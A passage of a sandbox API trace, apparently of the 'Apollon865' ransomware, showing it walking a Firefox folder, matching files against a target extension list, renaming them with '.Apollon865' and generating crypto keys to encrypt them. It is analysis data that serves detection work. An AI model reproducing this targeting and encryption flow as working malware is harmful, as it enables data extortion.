	[0052.824] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.824] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.825] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.825] CloseHandle (hObject=0x118) returned 1
	[0052.825] CloseHandle (hObject=0x14c) returned 1
	[0052.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.825] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.825] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb9b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="google.xml", cAlternateFileName="")) returned 1
	[0052.825] lstrcmpiW (lpString1="google.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.825] lstrcmpiW (lpString1="google.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.825] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="google.xml" | out: lpString1="google.xml") returned="google.xml"
	[0052.825] lstrlenW (lpString="google.xml") returned 10
	[0052.825] lstrlenW (lpString="Apollon865") returned 10
	[0052.825] lstrlenW (lpString=".dll") returned 4
	[0052.825] lstrcmpiW (lpString1="google.xml", lpString2=".dll") returned 1
	[0052.826] lstrlenW (lpString=".lnk") returned 4
	[0052.826] lstrcmpiW (lpString1="google.xml", lpString2=".lnk") returned 1
	[0052.826] lstrlenW (lpString=".ini") returned 4
	[0052.826] lstrcmpiW (lpString1="google.xml", lpString2=".ini") returned 1
	[0052.826] lstrlenW (lpString=".sys") returned 4
	[0052.826] lstrcmpiW (lpString1="google.xml", lpString2=".sys") returned 1
	[0052.826] lstrlenW (lpString="google.xml") returned 10
	[0052.826] lstrlenW (lpString="bak") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.826] lstrlenW (lpString="ba_") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.826] lstrlenW (lpString="dbb") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.826] lstrlenW (lpString="vmdk") returned 4
	[0052.826] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.826] lstrlenW (lpString="rar") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.826] lstrlenW (lpString="zip") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.826] lstrlenW (lpString="tgz") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.826] lstrlenW (lpString="vbox") returned 4
	[0052.826] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.826] lstrlenW (lpString="vdi") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.826] lstrlenW (lpString="vhd") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.826] lstrlenW (lpString="vhdx") returned 4
	[0052.826] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.826] lstrlenW (lpString="avhd") returned 4
	[0052.826] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.826] lstrlenW (lpString="db") returned 2
	[0052.826] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.826] lstrlenW (lpString="db2") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.826] lstrlenW (lpString="db3") returned 3
	[0052.826] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.827] lstrlenW (lpString="dbf") returned 3
	[0052.827] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.827] lstrlenW (lpString="mdf") returned 3
	[0052.827] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.827] lstrlenW (lpString="mdb") returned 3
	[0052.827] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.827] lstrlenW (lpString="sql") returned 3
	[0052.827] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.827] lstrlenW (lpString="sqlite") returned 6
	[0052.827] lstrcmpiW (lpString1="le.xml", lpString2="sqlite") returned -1
	[0052.827] lstrlenW (lpString="sqlite3") returned 7
	[0052.827] lstrcmpiW (lpString1="gle.xml", lpString2="sqlite3") returned -1
	[0052.827] lstrlenW (lpString="sqlitedb") returned 8
	[0052.827] lstrcmpiW (lpString1="ogle.xml", lpString2="sqlitedb") returned -1
	[0052.827] lstrlenW (lpString="xml") returned 3
	[0052.827] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.827] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml.Apollon865") returned 82
	[0052.827] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.828] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\google.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\google.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0052.828] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2971) returned 1
	[0052.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.829] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.829] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.829] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.829] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.830] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea0, lpName=0x0) returned 0x118
	[0052.831] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xea0) returned 0x100000
	[0052.832] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.833] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.833] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.833] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.833] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.833] CloseHandle (hObject=0x118) returned 1
	[0052.833] CloseHandle (hObject=0x14c) returned 1
	[0052.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.833] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.834] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x378b20f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x378b20f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.834] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.834] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0xb91, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="twitter.xml", cAlternateFileName="")) returned 1
	[0052.834] lstrcmpiW (lpString1="twitter.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.834] lstrcmpiW (lpString1="twitter.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.834] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="twitter.xml" | out: lpString1="twitter.xml") returned="twitter.xml"
	[0052.834] lstrlenW (lpString="twitter.xml") returned 11
	[0052.834] lstrlenW (lpString="Apollon865") returned 10
	[0052.834] lstrcmpiW (lpString1="witter.xml", lpString2="Apollon865") returned 1
	[0052.834] lstrlenW (lpString=".dll") returned 4
	[0052.834] lstrcmpiW (lpString1="twitter.xml", lpString2=".dll") returned 1
	[0052.834] lstrlenW (lpString=".lnk") returned 4
	[0052.834] lstrcmpiW (lpString1="twitter.xml", lpString2=".lnk") returned 1
	[0052.834] lstrlenW (lpString=".ini") returned 4
	[0052.834] lstrcmpiW (lpString1="twitter.xml", lpString2=".ini") returned 1
	[0052.834] lstrlenW (lpString=".sys") returned 4
	[0052.834] lstrcmpiW (lpString1="twitter.xml", lpString2=".sys") returned 1
	[0052.834] lstrlenW (lpString="twitter.xml") returned 11
	[0052.834] lstrlenW (lpString="bak") returned 3
	[0052.834] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.834] lstrlenW (lpString="ba_") returned 3
	[0052.834] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.834] lstrlenW (lpString="dbb") returned 3
	[0052.834] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.834] lstrlenW (lpString="vmdk") returned 4
	[0052.834] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.834] lstrlenW (lpString="rar") returned 3
	[0052.834] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.834] lstrlenW (lpString="zip") returned 3
	[0052.834] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.834] lstrlenW (lpString="tgz") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.835] lstrlenW (lpString="vbox") returned 4
	[0052.835] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.835] lstrlenW (lpString="vdi") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.835] lstrlenW (lpString="vhd") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.835] lstrlenW (lpString="vhdx") returned 4
	[0052.835] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.835] lstrlenW (lpString="avhd") returned 4
	[0052.835] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.835] lstrlenW (lpString="db") returned 2
	[0052.835] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.835] lstrlenW (lpString="db2") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.835] lstrlenW (lpString="db3") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.835] lstrlenW (lpString="dbf") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.835] lstrlenW (lpString="mdf") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.835] lstrlenW (lpString="mdb") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.835] lstrlenW (lpString="sql") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.835] lstrlenW (lpString="sqlite") returned 6
	[0052.835] lstrcmpiW (lpString1="er.xml", lpString2="sqlite") returned -1
	[0052.835] lstrlenW (lpString="sqlite3") returned 7
	[0052.835] lstrcmpiW (lpString1="ter.xml", lpString2="sqlite3") returned 1
	[0052.835] lstrlenW (lpString="sqlitedb") returned 8
	[0052.835] lstrcmpiW (lpString1="tter.xml", lpString2="sqlitedb") returned 1
	[0052.835] lstrlenW (lpString="xml") returned 3
	[0052.835] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.835] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml.Apollon865") returned 83
	[0052.835] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.836] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\twitter.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\twitter.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0052.836] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2961) returned 1
	[0052.836] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.837] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.837] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.837] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.837] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.838] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xea0, lpName=0x0) returned 0x118
	[0052.840] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xea0) returned 0x100000
	[0052.841] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.841] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.841] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.841] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.841] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.842] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0052.842] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0052.842] CloseHandle (hObject=0x118) returned 1
	[0052.842] CloseHandle (hObject=0x14c) returned 1
	[0052.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0052.842] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0052.842] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf2ae260, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf2ae260, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xd4970380, ftLastWriteTime.dwHighDateTime=0x1ced1dc, nFileSizeHigh=0x0, nFileSizeLow=0x8b2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wikipedia.xml", cAlternateFileName="WIKIPE~1.XML")) returned 1
	[0052.842] lstrcmpiW (lpString1="wikipedia.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.842] lstrcmpiW (lpString1="wikipedia.xml", lpString2="Apollon865.txt.exe") returned 1
	[0052.842] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="wikipedia.xml" | out: lpString1="wikipedia.xml") returned="wikipedia.xml"
	[0052.843] lstrlenW (lpString="wikipedia.xml") returned 13
	[0052.843] lstrlenW (lpString="Apollon865") returned 10
	[0052.843] lstrcmpiW (lpString1="ipedia.xml", lpString2="Apollon865") returned 1
	[0052.843] lstrlenW (lpString=".dll") returned 4
	[0052.843] lstrcmpiW (lpString1="wikipedia.xml", lpString2=".dll") returned 1
	[0052.843] lstrlenW (lpString=".lnk") returned 4
	[0052.843] lstrcmpiW (lpString1="wikipedia.xml", lpString2=".lnk") returned 1
	[0052.843] lstrlenW (lpString=".ini") returned 4
	[0052.843] lstrcmpiW (lpString1="wikipedia.xml", lpString2=".ini") returned 1
	[0052.843] lstrlenW (lpString=".sys") returned 4
	[0052.843] lstrcmpiW (lpString1="wikipedia.xml", lpString2=".sys") returned 1
	[0052.843] lstrlenW (lpString="wikipedia.xml") returned 13
	[0052.843] lstrlenW (lpString="bak") returned 3
	[0052.843] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0052.843] lstrlenW (lpString="ba_") returned 3
	[0052.843] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0052.843] lstrlenW (lpString="dbb") returned 3
	[0052.843] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0052.843] lstrlenW (lpString="vmdk") returned 4
	[0052.843] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0052.843] lstrlenW (lpString="rar") returned 3
	[0052.843] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0052.843] lstrlenW (lpString="zip") returned 3
	[0052.843] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0052.843] lstrlenW (lpString="tgz") returned 3
	[0052.843] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0052.843] lstrlenW (lpString="vbox") returned 4
	[0052.843] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0052.843] lstrlenW (lpString="vdi") returned 3
	[0052.843] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0052.843] lstrlenW (lpString="vhd") returned 3
	[0052.843] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0052.843] lstrlenW (lpString="vhdx") returned 4
	[0052.843] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0052.843] lstrlenW (lpString="avhd") returned 4
	[0052.843] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0052.843] lstrlenW (lpString="db") returned 2
	[0052.844] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0052.844] lstrlenW (lpString="db2") returned 3
	[0052.844] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0052.844] lstrlenW (lpString="db3") returned 3
	[0052.844] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0052.844] lstrlenW (lpString="dbf") returned 3
	[0052.844] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0052.844] lstrlenW (lpString="mdf") returned 3
	[0052.844] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0052.844] lstrlenW (lpString="mdb") returned 3
	[0052.844] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0052.844] lstrlenW (lpString="sql") returned 3
	[0052.844] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0052.844] lstrlenW (lpString="sqlite") returned 6
	[0052.844] lstrcmpiW (lpString1="ia.xml", lpString2="sqlite") returned -1
	[0052.844] lstrlenW (lpString="sqlite3") returned 7
	[0052.844] lstrcmpiW (lpString1="dia.xml", lpString2="sqlite3") returned -1
	[0052.844] lstrlenW (lpString="sqlitedb") returned 8
	[0052.844] lstrcmpiW (lpString1="edia.xml", lpString2="sqlitedb") returned -1
	[0052.844] lstrlenW (lpString="xml") returned 3
	[0052.844] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0052.844] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml.Apollon865") returned 85
	[0052.844] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml.apollon865"), dwFlags=0x1) returned 1
	[0052.845] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins\\wikipedia.xml.Apollon865" (normalized: "c:\\program files (x86)\\mozilla firefox\\browser\\searchplugins\\wikipedia.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x14c
	[0052.845] GetFileSizeEx (in: hFile=0x14c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2226) returned 1
	[0052.845] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0052.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0052.846] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0052.846] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0052.847] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0052.847] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.847] CreateFileMappingW (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xbc0, lpName=0x0) returned 0x118
	[0052.848] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xbc0) returned 0x100000
	[0052.849] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0052.849] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0052.849] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0052.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0052.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0052.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0052.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0052.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0052.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0052.850] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x599450
	[0052.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0052.850] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
